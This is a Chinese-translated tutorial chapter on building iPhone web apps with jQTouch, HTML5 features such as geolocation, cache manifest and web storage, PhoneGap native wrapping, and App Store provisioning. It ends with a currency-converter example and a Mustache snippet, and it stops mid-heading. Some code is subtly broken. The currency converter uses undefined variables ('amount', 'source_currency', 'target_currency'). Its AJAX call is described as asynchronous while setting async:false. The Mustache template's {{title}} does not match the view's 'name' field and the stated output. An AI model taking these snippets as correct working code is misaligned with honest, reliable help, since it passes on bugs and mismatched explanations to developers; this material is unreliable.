触摸站点或触摸版本实际上是指 Web 应用程序。Web 应用程序是设计为在 iPhone 上最佳查看的网页,并且是用 HTML 和 JavaScript 编程的。HTML 和 JavaScript 有一些扩展,称为 Safari HTML 和 Safari JavaScript,用于获取设备相关的效果或支持。与普通网页不同,Web 应用程序将遵循 iPhone 的一致用户界面和触摸友好的布局,比如菜单栏、滑动选择选项等。有时,它们也被称为“网络剪辑”。以下图片显示了在 iPhone 上查看的 Facebook 的触摸版本touch.facebook.com

构建网站的触摸版本(使用 jQTouch)

要快速创建 Web 应用程序 UI/样式,有一些可用的框架和工具包,比如 IUI、jQTouch、jQuery Mobile、Sencha Touch 等。jQTouch 和 jQuery Mobile 是基于 jQuery 的库。我们将看到如何使用 jQTouch 构建 Web 应用程序/触摸版本。

准备就绪

我们将需要 Safari 网络浏览器来测试 Web 应用程序。通常,所有 Web 应用程序都可以在任何分级浏览器中粗略查看。我们还需要 jQTouch,可在jqtouch.com/上获得,以及 jQuery 核心。

操作步骤...

iPhone 的 Web 应用程序开发可以分为:

  • 了解对界面有重要意义的metalink标签。

  • 使用适当的 HTML、CSS 和 JavaScript 调整界面/导航/元素的使用。这些通常由框架来处理,比如 IUI、jQTouch、jQuery Mobile 等。

了解metalink标签

当 Web 应用程序被添加到主屏幕书签时,以下声明可以帮助我们指定要使用的图标:

<link rel="apple-touch-icon" href="http:///custom_icon.png"/>

通常,iPhone 会在图像上添加圆角、投影和反射光泽。这是一个样本,使用 Packt 标志创建的 57x57 自定义图标:

操作步骤...

  1. 当我们已经有一个预先制作的图标时,为了避免双重效果,我们需要将custom_icon.png重命名为apple-touch-icon-precomposed.png,如下所示:
<link rel="apple-touch-icon" href="/apple-touch-icon-precomposed.png"/>

  1. 图标的默认大小是 57x57。要为不同的分辨率指定不同的图标,我们可以使用sizes属性:
<link rel="apple-touch-icon" sizes="72x72" href="http:///custom_icon72x72.png" />
<link rel="apple-touch-icon" sizes="114x114" href="http:///custom_icon114x114.png" />

  1. 以下截图显示了本机 Skype 应用的启动或闪屏图像。启动图像将在启动应用程序时显示几秒钟。其尺寸必须为 320x460,可以这样指定:
<link rel="apple-touch-startup-image" href="http:///startup.png" />

操作步骤...

  1. 我们可能还想隐藏 Safari 浏览器的控件,以获得本机应用的外观和感觉。我们将通过以下代码实现这一点,以隐藏地址栏:
<meta name="apple-mobile-web-app-capable" content="yes" />

  1. 要更改状态栏的颜色,我们可以使用以下命令:
<meta name="apple-mobile-web-app-status-bar-style" content="black" />

  1. iPhone 的视口调整为 980 像素宽。因此,如果一个网页/ web 应用程序宽度为 980 像素,它将正确适应 iPhone。如果页面只有一个宽度为 200 像素的表格或图像,在 iPhone 上查看时,图像将偏向左上角。对于这种情况,我们有一个选项可以通过编程方式指定视口宽度,如下所示:
<meta name="viewport" content="width = 200" />

  1. 前面的代码将修复视口宽度,200 像素的图像将以全宽度显示。当同时针对 iPhone 和 iPad 时,最好使用设备常量device-width来指定宽度,如下所示:
<meta name="viewport" content="width=device-width" />

  1. 要禁用用户缩放并设置视口,请使用:
<meta name="viewport" content="user-scalable=no, width=device-width" />

  1. 使用适当的 HTML、CSS 和 JavaScript 使用调整界面/导航/元素的使用。

iPhone web 应用程序具有类似的 UI——滑动链接选择选项,在页眉中快速导航等等。最好从框架的基本 HTML 代码开始。这将帮助我们快速在必要的地方插入我们的元素。

从框架的基本 HTML 代码开始还有另一个优点。它给了我们关于链接放置的提示,后退按钮的放置方式等等。

它是如何工作的...

让我们来看一下以下的 jQTouch HTML 5 代码,用于折扣计算器:

<!doctype html>
<html>
<head>
<meta charset="UTF-8" />
<title>Discount Calc</title>
<style type="text/css" media="screen">@import "./jqtouch/jqtouch.css";</style>
<style type="text/css" media="screen">@import "./themes/apple/theme.css";</style>
<script src="./jqtouch/jquery-1.5.1.min.js" type="text/javascript" charset="utf-8"></script>
<script src="./jqtouch/jqtouch.js" type="application/x-javascript" charset="utf-8"></script>
<script type="text/javascript" charset="utf-8">
var jQT = new $.jQTouch({
icon: 'icon.png',
addGlossToIcon: false,
startupScreen: 'startup.png',
statusBar: 'black'
});
function getDiscountPercentage(actual_price, discounted_price) {
var discount_percentage = 100 * (actual_price - discounted_price)/ actual_price;
return discount_percentage;
}
$(function(){
$('#calc-input input').blur(function(){
$('#calc-result').html(getDiscountPercentage($('#actual-price').val(), $('#discounted-price').val()) + ' %');
});
});
</script>
</head>
<body>
<div id="jqt">
<div id="home">
<div class="toolbar">
<h1>Discount Calc</h1>
<a href="#info" class="button flip">About</a>
</div>
<div id="calc" class="form">
<form id="calc-input">
<ul class="rounded">
<li><input type="text" id="actual-price" name="actual- price" placeholder="Actual Price"></li>
<li><input type="text" id="discounted-price" name="discounted-price" placeholder="Discounted Price"></li>
</ul>
<h3>Discount Percentage</h3>
<div id="calc-result" class="info">
</div>
</form>
</div>
</div>
<div id="info">
<div class="toolbar">
<h1>About</h1>
<a href="#home" class="cancel">Cancel</a>
</div>
<div class="info">
Demo calculator to find discount percentage.
</div>
</div>
</div>
</body>
</html>

如前所述,我们已经从 jQTouch 的基本 HTML 代码创建了代码。这让我们可以快速插入我们的折扣计算器逻辑和计算器表单界面。$.jQTouch()调用创建了所有必要的元数据和链接元素。主题是通过 CSS 和图像精灵完成的。

jQTouch 通过类名应用效果,例如以下代码:

<a href="#info" class="button flip">About</a>

应用了翻转效果,并给出了按钮外观。

还有更多...

我们可以使用在线图标生成工具快速创建应用程序图标。苹果自己的开发者指南是关于这个主题的另一个广泛的资源。

在线 iPhone 图标生成器

要创建 iPhone 图标,我们有一个第三方网站www.flavorstudios.com/iphone-icon-generator。它可以帮助我们快速创建图标,以防我们对 PhotoShop 不太熟悉。

苹果提供了一份免费指南,可在developer.apple.com/library/safari/documentation/appleapplications/reference/safariwebcontent/Introduction/Introduction.html上获得。

在 iPhone Ajax 中利用 HTML5 功能

HTML5 是 HTML 标准的最新修订版,被现代 Web 浏览器采用。当苹果在 iPhone 上阻止 Flash 访问并推动 HTML5 作为替代开放解决方案时,HTML5 受到了更多的关注。值得注意的是,2010 年 4 月,苹果公司联合创始人史蒂夫·乔布斯在一封名为“关于 Flash 的想法”的公开信中攻击了 Adobe,并强烈解释了在 iPhone 和 iPad 上支持 HTML5 的原因。这封公开信的摘要如下:

  • Flash 不是“开放”的,就像广告中宣传的那样

  • H.264 视频格式得到了广泛支持,不需要 Flash

  • Flash 容易出现安全和性能问题

  • 视频的软件解码会影响电池寿命

  • Flash 属于旧的 PC 时代,不兼容触摸

  • 依赖 Adobe 作为第三方开发工具提供商将影响苹果平台的增长

因此,HTML5 在 iPhone 上得到了原生支持,并且在生态系统中使用广泛。W3C 于 2011 年 1 月 18 日推出的 HTML5 标志如下:

在 iPhone Ajax 中利用 HTML5 功能

准备工作

我们需要在 Mac 上准备一个 iPhone 模拟器。虽然并非所有选项都可用,但我们也可以使用基于 WebKit 的 Web 浏览器,如 Google Chrome 或 Safari,进行预览。

如何做...

除了 canvas 等其他新的 API 之外,HTML5 的以下功能对 Web 应用程序和手持设备特别感兴趣:

  1. audio元素:

在 HTML5 中,音频播放是浏览器功能的一部分。在此之前,通常依赖于 Flash 编写的音频播放器来播放.mp3 文件。原生 HTML5 音频的使用示例如下:

<audio>
<source src="test.mp3" type="audio/mpeg" />
</audio>

  1. video元素

视频元素被认为是 Flash 的“杀手”,并且获得了动力。以下是显示 YouTube 视频的 HTML5 代码:

<video width="640" height="360" src="http://www.youtube.com/demo/protected.mp4" preload controls poster="thumbnail.png">
<p>Fallback content: This browser doesn't support HTML5 video</p>
</video>

属性可以解释如下:

  • poster代表要显示的图像,以便向用户展示视频的内容,通常是第一个非空白帧图像。

  • controls决定播放器是否具有视频控件。

  • preload允许视频的一部分在播放选项触发之前下载。这样用户可以在播放选项触发/点击时立即播放视频。这样做的缺点是即使用户不愿意播放视频,视频也会始终被下载。

  1. 地理定位 API

地理定位是确定用户浏览器的物理位置的能力。在手持设备中,通过 GPS 可以实现地理定位,它可以提供设备的纬度和经度。对于一些 iPhone 应用程序,可能需要用户的物理位置来提供必要的功能。例如,对于一个显示周围优惠的应用程序,如果用户的位置可以自动识别,而不需要用户输入地址,那将非常有帮助。以下代码显示用户的纬度和经度:

if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(
// success callback
function (position) {
alert('Latitude: ' + position.coords.latitude);
alert('Longitude: ' + position.coords.longitude);
},
// failure callback
function (error) {
switch (error.code) {
case error.TIMEOUT:
alert('Timeout');
break;
case error.POSITION_UNAVAILABLE:
alert('Position unavailable');
break;
case error.PERMISSION_DENIED:
alert('Permission denied');
break;
case error.UNKNOWN_ERROR:
alert('Unknown error');
break;
}
}
);
} else {
alert('Geolocation not supported in this browser');
}

在真正的 iPhone web 应用中,纬度和经度信息可以传递到服务器脚本以获取本地化数据。

  1. 脱机版本

本地应用与 Web 应用的另一个重要区别是能够立即从 iPhone 加载全部或部分 UI,而无需任何互联网连接,以便用户感受到快速响应。我们在上一个示例中设计的折扣计算器 Web 应用是静态的,我们没有从服务器更新任何内容。因此,如果我们使其脱机工作,我们可能会感受到本地应用的感觉。

HTML5 具有缓存清单功能,可以帮助开发人员缓存必要的文件,以便在没有网络连接时 Web 应用程序仍然可以工作:

  • 缓存清单的 MIME 类型是text/cache-manifest

  • 缓存清单文件可以取任何名称,但必须在html元素中指定,如下所示:<html manifest="/cache.manifest">

  • 这是一个纯文本文件:

  • 指定要缓存的文件的隐式语法:

要指定要缓存的文件,我们有隐式和显式的语法。

CACHE MANIFEST
# comment
/relative/path
http://example.com/absolute/path

  • 使用显式语法与头部CACHE, NETWORKFALLBACK:
CACHE MANIFEST
CACHE:
# files that are to be cached
/relative/path/to-be-cached
http://example.com/absolute/path/to-be-cached
NETWORK:
# files that should not be cached
/relative/path/no-cache
http://example.com/absolute/path/no-cache
FALLBACK:
# file mapping of network failure.
# Here, the online file's alternative offline will be loaded.
/relative/path/no-cache /relative/path/to-be-cached

  1. Web 存储

HTML5 的另一个巧妙功能是能够在客户端机器上存储数据。与 cookie 不同,项目不会在 HTTP 头中发送到服务器。Web 存储有两个存储区域:

  • localStorage: 类似于 cookie,它的范围是整个域,即使浏览器关闭也会持续存在。

  • sessionStorage: 它的范围是每个窗口每个页面,仅在窗口关闭时可用。这有助于将数据限制在窗口内,这是使用 cookie 和本地存储无法实现的。

localStorage 和 sessionStorage 具有类似的语法来存储值;例如,在 localStorage 中设置、获取和删除键名为 Packt 的语法如下:

localStorage.setItem('name', 'Packt'); // set name
var name = localStorage.getItem('name'); // get name
localStorage.removeItem('name'); // delete name
localStorage.clear(); // delete all local store (for the domain)

当键名没有任何空格时,我们也可以使用这种替代语法:

localStorage.name = 'Packt'; // set name
var name = localStorage.name; // get name
delete localStorage.name; // delete name

注意

访问会话存储具有类似的语法,但是通过sessionStorage对象。

  1. 客户端 SQL 数据库:

通过 JavaScript API 访问客户端数据库并使用 SQL 命令是 HTML5 的另一个有用功能。新 API 提供了 openDatabase、transaction 和 executeSql 方法。以下是使用这些方法的示例调用:

var db = openDatabase('dbName', '1.0', 'long dbname', 1048576);
db.transaction(function (tx) {
tx.executeSql('CREATE TABLE IF NOT EXISTS books (id unique, text)');
tx.executeSql('INSERT INTO books (id, text) VALUES (1, "Packt")');
});

它是如何工作的...

由于 iPhone 原生支持 HTML5,在构建 Web 应用时很容易利用这些功能。在 iPhone 上,音频和视频元素可以原生播放,无需额外的 Flash 播放器要求。

地理定位使得轻松找到用户的位置并为用户提供本地化数据。缓存清单功能使得 Web 应用可以在 iPhone 上进行离线访问。使用localStorage, sessionStorage或客户端 SQL 数据库可以在 iPhone 上存储本地数据。这些 HTML5 功能帮助我们构建具有原生应用外观和感觉的 Web 应用。

还有更多...

当我们想要不断改进应用时,Web 应用可能是首选,因为原生应用必须经过苹果的批准流程。Gmail 和 Yahoo! Mail 利用 HTML5 功能在 iPhone 上提供更好的应用体验。

HTML5 演示

html5demos.com/提供了一组快速的 HTML5 演示。这有助于理解浏览器的兼容性和使用示例。

Persist JS

Persist JS 是一个抽象库,它通过替代手段帮助客户端浏览器上的数据存储,如果浏览器不原生支持 HTML5 功能。它可以在pablotron.org/software/persist-js/找到。

使用 PhoneGap 构建原生应用

尽管我们可以为 Web 应用带来离线访问、启动图像、客户端数据存储和其他巧妙的功能,但 Web 应用仍然无法使用设备硬件功能。加速计、声音、振动和 iPhone 内置的地理定位功能是面向硬件的,它们只在原生应用中可用。原生 iPhone 应用通常是在 Mac 机器上使用 Objective C 构建的,直到 PhoneGap 出现。PhoneGap是一种替代开发工具,它允许我们使用 HTML、CSS 和 JavaScript 构建原生 iPhone 应用。它充当 Web 应用和移动设备之间的桥梁;因此,它允许我们快速将我们的 Web 应用转换为其他移动目标。除了 iPhone,它还支持其他智能手机,如 Android 和 BlackBerry。它是一种非常经济高效的解决方案,因为它允许我们重用相同的代码库来实现多种目的——网站构建、Web 应用构建和原生应用构建。另一个积极的方面是它是开源的。在这个步骤中,我们将构建一个折扣计算器的原生版本。

准备工作

构建原生应用需要:

  • 安装了 Xcode 的 Mac 机器。对于订阅了 iOS 开发者计划的人来说,Xcode 是免费的。它可以在developer.apple.com/xcode/找到。Xcode 4 包括 Xcode IDE、Instruments、iOS 模拟器以及最新的 Mac OS X 和 iOS SDK。

  • PhoneGap 可以通过www.phonegap.com/download/上的简单安装程序获得。请注意,ZIP 文件包含所有支持平台的文件夹。当我们切换到iOS文件夹时,我们可以找到安装程序PhoneGapInstaller.pkg。它安装了 PhoneGapLib、PhoneGap 框架和 PhoneGap Xcode 模板。这使我们能够快速从 Xcode 创建 PhoneGap 项目。

  • 购买 iOS 开发者计划的付费订阅developer.apple.com/programs/ios/,以便将我们的应用提交到 App Store 并能够在 iPhone 上运行。如果没有 iOS 开发者访问权限,我们只能在模拟器上预览应用。

如何做...

使用 PhoneGap 构建原生 iPhone 应用可以分为以下步骤:

  1. 构建一个 Web 应用:

正如我们在第一个步骤中看到的,首先我们必须构建一个 Web 应用。

  1. 在 Xcode 4 中创建一个 PhoneGap 项目:

在这一步中,我们必须通过在 Xcode 中创建一个 PhoneGap 项目来将我们的 Web 应用与 PhoneGap 连接起来:

如何做...

当 PhoneGapLib 安装后,Xcode 将设置必要的模板。因此,创建一个新的 PhoneGap 项目更简单。

  • 启动 Xcode 并从文件菜单中选择新建项目

  • 选择新项目的模板窗口中,选择基于 PhoneGap 的应用,如前面的屏幕截图所示。请注意,只有在安装了PhoneGapInstaller.pkg后才会出现这个选项。

  • 在屏幕选择新项目的选项中,输入以下产品详细信息:

  • 产品名称:

  • 公司标识符:

  • 输入这些将自动填充Bundle Identifiercom.packt.DiscCalculator

  • 在下一步中选择项目位置。

  • 运行项目以创建一个www文件夹。

  • 在项目中添加一个对www的文件夹引用。

注意

最后两个步骤是必要的,因为 Xcode 4 模板中存在错误。

Nitobi 提供免费的网络服务,可以快速创建一个 PhoneGap 项目,网址为build.phonegap.com/generate

这些步骤将创建一个默认的 PhoneGap 示例项目。基本上,示例中的代码需要一些注意:

<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no;" />
<!-- iPad/iPhone specific css below, add after your main css >
<link rel="stylesheet" media="only screen and (max-device-width: 1024px)" href="http://ipad.css" type="text/css" />
<link rel="stylesheet" media="only screen and (max-device-width: 480px)" href="http://iphone.css" type="text/css" />
-->
<script type="text/javascript" charset="utf-8" src="phonegap.js"></script>
<script type="text/javascript" charset="utf-8">
function onBodyLoad() {
document.addEventListener("deviceready",onDeviceReady,false);
}
/* When this function is called, PhoneGap has been initialized and is ready to roll */
function onDeviceReady() {
// do your thing!
navigator.notification.alert("PhoneGap is working")
}
</script>
<body onload="onBodyLoad()">
<h1>Hey, it's PhoneGap!</h1>
<p>Don't know how to get started? Check out <em><a href="http://github.com/phonegap/phonegap-start">PhoneGap Start</a></em>
</body>

在这里,我们可以清楚地注意到这些 PhoneGap 特定的功能在我们的 web 应用代码中不可用。因此,我们必须将这些逻辑合并到我们的 web 应用代码中。这里更容易的选择是:

  • www文件夹中删除startup.pngicon.png;启动图像和图标位于www文件夹之外,文件名为Default.png(320x480)、Default-Landscape.png(1004x768)、Default-Portrait.png(768x1024)、icon-72.png(72x72)和icon.png(57x57)。当我们针对其他设备时,需要不同分辨率的文件。

  • 使用相关的 PhoneGap 代码修改我们的 web 应用程序的head部分。

  • 然后,用它替换整个www文件夹内容。

  1. 添加硬件特定的功能。

到目前为止,我们还没有添加任何硬件特定的功能。PhoneGap API 允许我们通过 JavaScript 中的 navigator.notification 对象访问硬件特定的功能:

  • navigator.notification.alert(message, alertCallback, [title], [buttonName])允许我们使用更多功能的本机警报窗口。

  • navigator.notification.confirm(message, confirmCallback, [title], [buttonLabels])允许我们使用更多功能的本机确认对话框。

  • navigator.notification.beep(times)允许我们发出蜂鸣声。

  • navigator.notification.vibrate(milliseconds)允许我们使手机振动。

因此,让我们修改代码,以便具有本机的蜂鸣、振动和警报对话框。对于 Disc Calculator 应用程序,最终的代码将在www文件夹中如下所示:

<!doctype html>
<html>
<head>
<meta charset="UTF-8" />
<title>Discount Calc</title>
<style type="text/css" media="screen">@import "./jqtouch/jqtouch.css";</style>
<style type="text/css" media="screen">@import "./themes/apple/theme.css";</style>
<script src="phonegap.js" type="text/javascript" charset="utf-8"></script>
<script src="./jqtouch/jquery-1.5.1.min.js" type="text/javascript" charset="utf-8"></script>
<script src="./jqtouch/jqtouch.js" type="application/x-javascript" charset="utf-8"></script>
<script type="text/javascript" charset="utf-8">
var jQT = new $.jQTouch({
statusBar: 'black'
});
function getDiscountPercentage(actual_price, discounted_price) {
var discount_percentage = 100 * (actual_price - discounted_price)/ actual_price;
return discount_percentage;
}
$(function() {
document.addEventListener('deviceready', function() {
navigator.notification.vibrate(2000); // vibrate 2 seconds
navigator.notification.alert('Ready!', '', 'DiscCalculator');
}, false);
$('#calc-input input').blur(function() {
$('#calc-result').html(getDiscountPercentage($('#actual-price').val(), $('#discounted-price').val()) + ' %');
navigator.notification.beep(1); // 1 time beep
});
});
</script>
</head>
<body>
<div id="jqt">
<div id="home">
<div class="toolbar">
<h1>Discount Calc</h1>
<a href="#info" class="button flip">About</a>
</div>
<div id="calc" class="form">
<form id="calc-input">
<ul class="rounded">
<li><input type="text" id="actual-price" name="actual-price" placeholder="Actual Price"></li>
<li><input type="text" id="discounted-price" name="discounted-price" placeholder="Discounted Price"></li>
</ul>
<h3>Discount Percentage</h3>
<div id="calc-result" class="info">
</div>
</form>
</div>
</div>
<div id="info">
<div class="toolbar">
<h1>About</h1>
<a href="#home" class="cancel">Cancel</a>
</div>
<div class="info">
Demo calculator to find discount percentage.
</div>
</div>
</div>
</body>
</html>

  1. 在 iPhone 模拟器中预览:

在 Xcode 中使用构建和运行选项并选择活动可执行文件,可以轻松在 iPhone 模拟器中预览。以下截图显示了我们在 Xcode 中的DiscCalculator项目:

如何做...

如下截图所示,我们可以从概述下拉菜单中选择活动可执行文件,以便在 iPhone 模拟器中执行它:

如何做...

最后,我们的应用程序在 iPhone 模拟器中运行如下所示:

如何做...

  1. 在 iPhone 中预览:

为了预览或提交我们的应用到 App Store,我们需要创建 Provisioning Profile,这又需要 iOS 开发者计划的付费订阅。Provisioning Profile 是一个集合,将应用程序、开发人员和设备(iPhone)绑定在一起,以便在设备上安装它以进行测试。

如何做...

在 iOS 开发者网页的 Provisioning Portal 中找到 Provisioning Assistant,这个过程很容易:

如何做...

尽管如前面截图所示启动 Provisioning Assistant 将指导您完成每一步,但这里是摘要:

  • 在 Keychain Access 应用程序中生成 CSR 并将其上传到供应门户。然后,在 Keychain Access 中安装生成的证书。这里,证书的创建应该是为“开发”。

  • 在供应门户中输入APP ID(在我们的情况下,com.packt)的详细信息

  • 在供应门户中添加开发设备的UDID(唯一设备标识符)。

  • 现在,开发配置文件将准备就绪。下载并将其放入 Xcode 项目中。一旦 iPhone 连接到 Mac 机器,在设备上启动应用程序将会在 iPhone 上加载应用程序。

注意

要找到 iPhone 的 UDID,我们可以:

在 iPhone 上使用itunes.apple.com/app/udidit/id326123820上的 UDIDit 应用程序。

或者

连接 iPhone 后使用 iTunes。

  1. 提交到 App Store:

要在 iPhone 上预览,我们必须创建一个“开发”配置文件(也称为“临时”),并且要提交到 App Store,我们必须创建一个“分发”配置文件。创建配置文件的步骤是相似的,但在证书选项中,我们必须为分发创建它。

下一步是通过itunesconnect.apple.com/的 iTunes Connect 提交应用程序。为此,我们必须在 iTunes Connect 网站上添加新应用程序并输入必要的详细信息。在最后一步,我们必须通过充当上传器的 Application Loader 应用程序上传应用程序文件二进制文件。一旦上传并提交,应用程序将由苹果员工审核。当应用程序符合他们的标准时,它将被批准。

它是如何工作的...

PhoneGap 实际上是针对不同平台的 WebView 包装器集合。因此,它在浏览器控件中显示 Web 应用程序,给人一种本地的感觉。这些包装器将本地代码函数暴露给 JavaScript API。因此,PhoneGap 为任何应用程序带来了本地感觉和 HTML/CSS 主题。

创建配置文件决定了临时开发测试的授权设备。通过 iTunes Connect 网站,应用程序可以提交并进行进一步的修订。

还有更多...

我们已经了解了 iOS 平台上的 PhoneGap。但是,我们可能需要为其他平台构建应用程序。

入门指南/帮助向导

PhoneGap 在www.phonegap.com/start上为所有平台提供了一个很好的入门指南。通过选择目标平台,我们可以获得逐步视频教程或屏幕演示。

加快 PhoneGap 项目的速度

在上一篇文章中,我们已经看到了如何使用 jQTouch 构建 Web 应用程序,并通过 PhoneGap 将其转换为本地应用程序。在本篇文章中,我们将看到如何减少涉及的步骤,并看到 jQTouch 的另一种替代解决方案。

准备就绪

我们需要访问build.phonegap.com/上的 PhoneGap Build。在撰写本文时,此功能处于私人测试阶段,需要从jquerymobile.com/获取 jQuery Mobile 和 jQuery 核心。

如何做...

为了加快开发速度,我们必须减少步骤并改进我们的编程方法:

  1. PhoneGap 构建服务:

开发 PhoneGap 的 Nitobi 公司在下图中展示了一个在线构建服务。这意味着我们不需要在我们的机器上遵循任何构建步骤。

如何做...

  • 只需上传 HTML/CSS/JavaScript 源文件,然后在云端构建即可。云构建服务还可以为其他平台构建源文件,如 Android、Palm、Symbion 和 Blackberry。这将是一个节省时间的好方法,也是一个适用于使用 Windows 机器的好选择。
  1. jQuery Mobile:

与 jQTouch 相比,jQuery Mobile 是一个较新的框架。它通过 HTML、CSS 和 JavaScript 提供类似的主题和编程能力。这是移动开发的官方 jQuery 库。

如何做...

jQTouch主要针对 WebKit 浏览器,因此仅在 iPhone 上支持良好。但是,如果我们针对更多设备,jQTouch 可能无法顺利工作,因为它不是跨平台和跨设备的。另一方面,jQuery Mobile 支持多个平台和设备。上面的图表显示了 jQuery Mobile 在各个平台上的支持情况。

如图所示,当我们为多个平台和设备构建应用时,这是一个节省时间的工具。

它的工作原理...

由于 PhoneGap Build 服务在云端工作,我们不需要满足任何开发环境要求。它可以为多个设备构建应用。

jQuery Mobile 针对多个设备和平台。在处理主题和更容易的 JavaScript API 方面,这与 jQTouch 类似。由于其主要关注点是跨平台和跨设备支持,它将节省我们在其他设备上移植应用的时间。支持图表清楚地显示了该框架在特定设备上提供的支持水平。

还有更多...

除了 PhoneGap,还有其他原生应用开发工具可用:

  • Rhomobile Rhodes

Rhomobile Rhodes 可在rhomobile.com/找到,是另一个用于原生应用的开发解决方案。与 PhoneGap 不同,Rhodes 构建真正的原生应用。它的语言是 Ruby。类似于 PhoneGap Build 服务,它提供了基于浏览器的构建解决方案 RhoHub www.rhohub.com/。当我们了解 Ruby 并想构建一个真正的原生应用时,这将是一个很好的解决方案。

  • Appcelerator Titanium/

Appcelerator Titanium 可在www.appcelerator.com/products/titanium-cross-platform-application-development/找到,之前通过 Web View/浏览器控制模拟原生应用的感觉。最近,它可以生成真正的原生代码。与 Rhodes 不同,它使用 JavaScript。当我们想要用 Web 技术开发真正的原生应用时,这可能是一个很好的解决方案。

构建货币转换混合应用

术语混合应用宽泛地指的是通过 WebView 包装器构建的应用,它在其中显示远程数据。原生应用包装器内部的 Web 浏览器组件主要用于显示已以 JSON 格式获取的 UI 和数据,以更新内容。PhoneGap 就是这样的技术。因此,使用 PhoneGap 进行原生应用开发,并能够从远程数据更新 UI 也可以称为混合应用。在本配方中,我们将看到如何构建一个货币转换应用。

准备工作

我们需要:

如何做...

开源汇率 API 提供了超过 120 种以美元为基础货币的转换率。它的货币转换姊妹库 money.js 可以在提供汇率数据时转换到不同的货币;请注意,只需要一个基础货币,通过数学计算就可以在其他货币之间进行转换。例如,如果我们有美元兑澳大利亚元和美元兑印度卢比的汇率,我们可以很容易地使用money.js计算印度卢比兑澳大利亚元。因此,当我们有money.js并且提供了开源汇率数据时,我们可以进行实时货币转换。

有了 API 和货币转换库,我们可以构建一个应用,如下面的截图所示:

如何做...

这是 Xcode PhoneGap 项目的 HTML 文件中的代码。我们只创建了 HTML 文件。其余文件都是从 PhoneGap Xcode 模板派生的:

<!doctype html>
<html>
<head>
<meta charset="UTF-8" />
<title>Currency Conv</title>
<style type="text/css" media="screen">@import "./jqtouch/jqtouch.css";</style>
<style type="text/css" media="screen">@import "./themes/apple/theme.css";</style>
<script src="phonegap.js" type="text/javascript" charset="utf-8"></script>
<script src="./jqtouch/jquery-1.5.1.min.js" type="text/javascript" charset="utf-8"></script>
<script src="./jqtouch/jqtouch.js" type="application/x-javascript" charset="utf-8"></script>
<script src="./money.js" type="application/x-javascript"
charset="utf-8"></script>
<script type="text/javascript" charset="utf-8">
// Load exchange rates data in async manner...
$.ajax( {

url: 'http://openexchangerates.org/latest.php',
dataType: 'json',
async: false,
success: function(data) {
// if money.js is loaded
if (typeof fx !== 'undefined' && fx.rates) {
fx.rates = data.rates;
fx.base = data.base;
} else { // keep data in fxSetup global
var fxSetup = {
rates: data.rates,
base: data.base
}
}
}
});
var jQT = new $.jQTouch( {
statusBar: 'black'
});
$(function() {
// build source currency dropdown
// and initial exchange rates listing...
var _options = [];
var _li = [];
$.each(fx.rates, function(currency_code, exchange_rate) {
var target_currency = fx.convert(amount, {
from: source_currency,
to: currency_code
});
var _selected = (currency_code == fx.base) ? ' selected="selected"': '';
_options.push('<option value="' + currency_code + '"' + _selected + '>' + currency_code + '</option>');
_li.push('<li>' + currency_code + ' <small class="counter">' + exchange_rate + '</small></li>');
});
$('#source-currency').html(_options.join(''));
$('#exchange-rates').html(_li.join(''));
// alert the user when ready
document.addEventListener('deviceready', function() {
navigator.notification.vibrate(2000); // vibrate 2 seconds
navigator.notification.alert('Ready!', '', 'Currency Conv');
}, false);
// when user changes amount or source currency,

// repopulate the exchange rates using fx.convert()...
$('#conv-input').change(function() {
var amount = $('#amount').val();
var source_currency = $('#source-currency').val();
var _li = [];
$.each(fx.rates, function(currency_code, exchange_rate) {
_li.push('<li>' + currency_code + ' <small class="counter">' + target_currency + '</small></li>');
});
$('#exchange-rates').html(_li.join(''));
navigator.notification.beep(1); // 1 time beep
});
});
</script>
</head>
<body>
<div id="jqt">
<div id="home">
<div class="toolbar">
<h1>Currency Conv</h1>
<a href="#info" class="button flip">About</a>
</div>
<div id="conv" class="form">
<form id="conv-input">
<ul class="rounded">
<li><input type="text" id="amount" name="amount"
placeholder="Amount" value="1"></li>
<li><select id="source-currency" name="source-currency">
</select></li>
</ul>
<h3>Exchange Rates</h3>
<div class="form">
<ul id="exchange-rates" class="rounded">
</ul>
</div>
</form>
</div>
</div>
<div id="info">
<div class="toolbar">
<h1>About</h1>
<a href="#home" class="cancel">Cancel</a>
</div>
<div class="info">
App for currency conversion.
</div>
</div>
</div>
</body>
</html>

要在 iPhone 模拟器中编译或预览应用,请参阅本章中的使用 PhoneGap 构建原生应用配方。

它的工作原理...

我们使用了money.js库和开源汇率 API 进行转换过程。在应用程序加载期间,它以同步方式以 JSON 格式获取汇率数据。我们在$.ajax()方法中将async标志设置为false,以便函数调用将是串行的。来自 API 的汇率数据如下:

"timestamp": 1319050338,
"base": "USD",
"rates": {
"AED": 3.67000019,
"ALL": 103.18125723,
...

数据通过fx.rates传递给money.js库,当加载时,否则设置为全局fxSetup变量,以便库在加载后使用。

fx.rates对象在其索引中具有货币代码;它们通过$.each()方法进行迭代,以填充源货币下拉菜单和初始汇率列表,值为1 美元。请注意,为了获得良好的性能,我们通过首先填充 HTML 内容并通过单个html()调用注入来减少对 DOM 的访问。

根据要求,当金额或源货币更改时,整个汇率列表将被重新绘制。这是通过挂接change事件并使用fx.convert()方法实现的。money.js支持包括类似 jQuery 的链式支持在内的不同语法:

fx(1).from('USD').to('INR');

我们使用了以下语法,它比链式语法更容易迭代,开销更小:

fx.convert(1,{
from: 'USD',
to: 'INR'
});

请注意,基于 PhoneGap 的应用程序早些时候被苹果拒绝,理由是它们只是网络剪辑(不完全本地化)。

建议将在 HTML 中完成的模板/视图逻辑始终本地可用,数据以 JSON 格式从服务器接收。这样,即使没有数据,应用程序也不会失去其外观/感觉。换句话说,不鼓励从服务器拉取 HTML 内容,这样的 HTML 内容可能会导致间隙,留下破碎的外观。当 App Store 审核团队审核应用程序时,如果应用程序的设计/感觉通过远程 HTML 内容更改,应用程序可能会被拒绝。应用审核是提交的重要流程,建议检查以下内容:

还有更多...

应用通常会以 JSON 格式从远程服务器获取数据,因此最好使用客户端模板解决方案。

Mustache

Mustache 是一个流行的无逻辑模板解决方案,可以在mustache.github.com/找到。它在许多编程语言中都有,包括 JavaScript。以下是一些示例用法:

var view = {
name: "Alice",
tax: function() {
return 40000*30/100;
}
}
var template = "{{title}} should pay {{tax}}";
var html = Mustache.to_html(template, view);

上述代码将产生输出:Alice 应支付 12000

drink, jQuery 微模板

